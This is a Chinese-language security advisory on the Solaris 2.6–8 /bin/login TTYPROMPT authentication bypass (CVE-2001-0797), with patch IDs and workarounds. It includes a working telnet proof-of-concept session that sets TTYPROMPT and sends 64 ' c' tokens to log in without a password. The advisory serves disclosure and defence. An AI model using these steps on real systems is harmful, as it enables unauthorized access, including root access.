首页 -> 安全研究

安全研究

安全漏洞
Sun Solaris /bin/login TTYPROMPT环境变量绕过验证漏洞

发布日期:2002-10-02
更新日期:2002-10-05

受影响系统:
Sun login
    - Sun Solaris 8.0 x86
    - Sun Solaris 8.0 SPARC
    - Sun Solaris 7.0 SPARC
    - Sun Solaris 7.0
    - Sun Solaris 2.6 SPARC
    - Sun Solaris 2.6
描述:
BUGTRAQ  ID: 5848
CVE(CAN) ID: CVE-2001-0797

许多远程登录应用使用login程序进行认识登录操作。

Solaris 2.6、7和8的/bin/login存在一个漏洞,可以通过环境变量TTYPROMPT绕过验证。

远程攻击者只需在telnet里给环境变量TTYPROMPT简单定义成长度为6的字符串,然后连接上远程主机,再输入用户名,后面跟64个" c",最后加一个回车就可以以这个用户直接登陆到系统而不需要口令验证。如果系统允许root用户远程登陆,就可以直接得到root用户的控制权。

需要注意的是,这并不是一个新的安全漏洞,它其实是“System V系统Login远程缓冲区溢出漏洞”的另外一种利用方法 :
http://www.nsfocus.net/index.php?act=sec_bug&do=view&bug_id=2056

由于telnetd存在一个潜在的安全隐患:接受远程客户端传递过来的TTYPROMPT变量,并将其传递给/bin/login程序。当攻击者远程或者本地修改传递给login的TTYPROMPT变量时,将导致在发生“System V系统Login远程缓冲区溢出漏洞”时,可以覆盖一个与认证状态有关的重要变量,导致无需身份认证即可登录。

因此,如果已经安装了“System V系统Login远程缓冲区溢出漏洞”的补丁的话,就不受当前漏洞的影响。

然而由于这种利用方式非常容易进行攻击,甚至无需编写攻击代码,所以对于没有安装相应补丁的系统,威胁就非常严重。

<*来源:Jonathan Stuart (jons@ccpartnersltd.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=103357889303304&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Jonathan Stuart (jons@ccpartnersltd.com)提供了如下测试方法:

coma% telnet
telnet> environ define TTYPROMPT abcdef
telnet> o localhost

SunOS 5.8

bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\n
Last login: whenever
$ whoami
bin

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 如果不需要telnet服务,关闭telnet服务。

* 如果您无法禁用telnet服务,也可使用TCP wrapper、防火墙或包过滤技术禁止不可信IP对telnet服务(例如 23/TCP端口)访问。

注意:这不能防止本地攻击者利用这个漏洞提升权限。

厂商补丁:

Sun
---
Sun 已经提供了补丁解决此漏洞。

补丁下载:

注意:您必须安装下面(1)中的安全补丁才可以彻底消除漏洞威胁,只安装(2)中的补丁将不能防止本地用户提升权限。

(1). /bin/login溢出漏洞

    OS Version               Patch ID
    __________               _________
    SunOS 5.8                111085-02
    SunOS 5.8_x86            111086-02
    SunOS 5.7                112300-01
    SunOS 5.7_x86            112301-01
    SunOS 5.6                105665-04
    SunOS 5.6_x86            105666-04
    SunOS 5.5.1              106160-02
    SunOS 5.5.1_x86          106161-02

(2). telnetd接受远程TTYPROMPT环境变量漏洞(可选)

    OS Version               Patch ID
    __________               _________
    SunOS 5.8                110668-03
    SunOS 5.8_x86            110669-03
    SunOS 5.7                107475-04
    SunOS 5.7_x86            107476-04
    SunOS 5.6                106049-04
    SunOS 5.6_x86            106050-04

您可以使用下列链接来下载相应补丁:
http://sunsolve.sun.com/pub-cgi/patchDownload.pl?target=<补丁ID>&method=h
例如,对于代号为111085-02的补丁,您可以使用下列链接:
http://sunsolve.sun.com/pub-cgi/patchDownload.pl?target=111085&method=h

浏览次数:5858
严重程度:60(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障